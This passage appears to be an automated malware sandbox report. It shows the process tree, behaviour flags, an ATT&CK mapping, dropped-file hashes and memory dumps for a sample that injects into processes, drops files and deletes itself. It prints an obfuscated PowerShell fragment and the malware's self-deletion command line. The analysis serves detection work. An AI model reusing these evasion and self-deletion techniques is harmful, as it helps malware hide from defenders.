'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{dde15a65-4832-4c21-b873-b8380cde8204}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3552
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{68c18e95-fca2-44cf-bdc9-7416bb512836}
      4⤵
      PID:5240
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & exit
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5636
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:208
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3824

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3980

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2396

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1472

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4172

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:380

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:516

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2348

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5112

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2120

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4140

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4488

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:5196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6124
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 460 -p 5820 -ip 5820
  2⤵
  PID:5408
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 376 -ip 376
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4774.tmp.csv

Filesize
41KB

MD5
e75427096036e766270102ddad04b3e7

SHA1
746ea8d0d1b84a0dd7c250e67f7307348abbbfeb

SHA256
147fe85a518d534c6d5319bf5ebe20c116f152280aeaddd7bbe764cce38e777b

SHA512
ee1568eac456964a620a4c7a46707c87457606457e80d8e47d6cf453fe22fec25a71a02ec94a7eca9ed2827ad0d97148545a426f4f1b39142440775412a807ba

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4794.tmp.txt

Filesize
13KB

MD5
dea8a66faf66ccc405c61edc00bce542

SHA1
c76606dabf5665081f8a3e98830a1605df08e552

SHA256
40c5f0c40e110c031732b494d55a78449e11066eef28537c21f3c48f6f3bead8

SHA512
657bebecedad843c723a5e73f9499f978135836a8c32d24ccdf8ae84d37103ca0b32500650068f8cb2758180938e664e6ff77ad598565f7efe12ae5dec6c6917

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4FE2.tmp.csv

Filesize
41KB

MD5
2aa06b36e05bfda6ef341bc41bb46b86

SHA1
2d15b0ecabbc13db2a6f1bda2457f97f8ceedef2

SHA256
4033805b08b1ca41789226649a504b6dd76d9e9578622dd5aa6006ec78d6646b

SHA512
1d50bdf1f4d06ce8e10f36b05ab9a6f3281da26a2589e6006dad3cb4e4e9eb849e9ba152c65497868fb2f9ebd1e3b214bf9ab1587a3fc87ef0e895b29d71200a

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5002.tmp.txt

Filesize
13KB

MD5
cc2e708111bc4491d8f47967d3343bf3

SHA1
816ff84dfe8ad7d275842fb0a9080299b5e8890a

SHA256
099f7186c89c968eb6c3cb635aa913b09f9ec474e664929ff720a20aca584338

SHA512
e1ab58a51f62c924f2b2ef5210a4191ddb60fc0890b0f55646fb05c5dd6c7908d25790136e86f592e18a7c138659858e5cecb5ecbca7f946b41f341e88951c2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ewlbilj.dmq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/392-104-0x0000013DF5DC0000-0x0000013DF5DE7000-memory.dmp

Filesize
156KB

Download
memory/392-105-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/436-113-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/436-112-0x000002071F7D0000-0x000002071F7F7000-memory.dmp

Filesize
156KB

Download
memory/616-91-0x000001EA278E0000-0x000001EA27907000-memory.dmp

Filesize
156KB

Download
memory/616-94-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/616-90-0x000001EA278B0000-0x000001EA278D2000-memory.dmp

Filesize
136KB

Download
memory/676-99-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/676-93-0x00000290A7490000-0x00000290A74B7000-memory.dmp

Filesize
156KB

Download
memory/956-127-0x0000027FCEFA0000-0x0000027FCEFC7000-memory.dmp

Filesize
156KB

Download
memory/1016-101-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/1016-98-0x000001F5B8B30000-0x000001F5B8B57000-memory.dmp

Filesize
156KB

Download
memory/1128-116-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/1128-115-0x000001E1007D0000-0x000001E1007F7000-memory.dmp

Filesize
156KB

Download
memory/1136-119-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/1136-118-0x000001D6D1FA0000-0x000001D6D1FC7000-memory.dmp

Filesize
156KB

Download
memory/1144-122-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/1144-121-0x0000024704B40000-0x0000024704B67000-memory.dmp

Filesize
156KB

Download
memory/1152-124-0x00000200F38D0000-0x00000200F38F7000-memory.dmp

Filesize
156KB

Download
memory/1152-125-0x00007FF7FEC50000-0x00007FF7FEC60000-memory.dmp

Filesize
64KB

Download
memory/3168-78-0x0000015666440000-0x0000015666602000-memory.dmp

Filesize
1.8MB

Download
memory/3168-79-0x00000156660F0000-0x000001566612C000-memory.dmp

Filesize
240KB

Download
memory/3168-65-0x000001566E7E0000-0x000001566E892000-memory.dmp

Filesize
712KB

Download
memory/3168-66-0x00000156642A0000-0x00000156642C2000-memory.dmp

Filesize
136KB

Download
memory/3168-67-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/3168-64-0x000001566E3A0000-0x000001566E7DE000-memory.dmp

Filesize
4.2MB

Download
memory/3168-76-0x00000156660A0000-0x00000156660F0000-memory.dmp

Filesize
320KB

Download
memory/3168-77-0x00000156661B0000-0x0000015666262000-memory.dmp

Filesize
712KB

Download
memory/3168-63-0x000001566DBD0000-0x000001566E39A000-memory.dmp

Filesize
7.8MB

Download
memory/3168-61-0x00007FF83DE60000-0x00007FF83DF1E000-memory.dmp

Filesize
760KB

Download
memory/3168-80-0x0000015666050000-0x000001566609E000-memory.dmp

Filesize
312KB

Download
memory/3168-62-0x0000015665180000-0x0000015665704000-memory.dmp

Filesize
5.5MB

Download
memory/3168-60-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/3168-81-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/3168-82-0x00007FF83DE60000-0x00007FF83DF1E000-memory.dmp

Filesize
760KB

Download
memory/3168-83-0x0000015666130000-0x0000015666166000-memory.dmp

Filesize
216KB

Download
memory/3552-36-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3552-34-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4268-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4268-30-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4528-25-0x000002013DD70000-0x000002013DDC8000-memory.dmp

Filesize
352KB

Download
memory/4528-18-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/4528-37-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-1556-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-4-0x00007FF81F973000-0x00007FF81F975000-memory.dmp

Filesize
8KB

Download
memory/4528-33-0x00007FF81F973000-0x00007FF81F975000-memory.dmp

Filesize
8KB

Download
memory/4528-5-0x0000020124120000-0x0000020124142000-memory.dmp

Filesize
136KB

Download
memory/4528-15-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-29-0x000002013C230000-0x000002013C23A000-memory.dmp

Filesize
40KB

Download
memory/4528-27-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/4528-26-0x0000020123B60000-0x0000020123B82000-memory.dmp

Filesize
136KB

Download
memory/4528-75-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-24-0x000002013DD10000-0x000002013DD66000-memory.dmp

Filesize
344KB

Download
memory/4528-23-0x000002013CFC0000-0x000002013D066000-memory.dmp

Filesize
664KB

Download
memory/4528-22-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-20-0x000002013D2C0000-0x000002013DD10000-memory.dmp

Filesize
10.3MB

Download
memory/4528-16-0x00007FF81F970000-0x00007FF820431000-memory.dmp

Filesize
10.8MB

Download
memory/4528-19-0x00007FF83DE60000-0x00007FF83DF1E000-memory.dmp

Filesize
760KB

Download
memory/4528-17-0x0000020123B30000-0x0000020123B54000-memory.dmp

Filesize
144KB

Download
memory/4788-88-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4788-84-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4788-87-0x00007FF83DE60000-0x00007FF83DF1E000-memory.dmp

Filesize
760KB

Download
memory/4788-86-0x00007FF83EBD0000-0x00007FF83EDC5000-memory.dmp

Filesize
2.0MB

Download
memory/4788-85-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download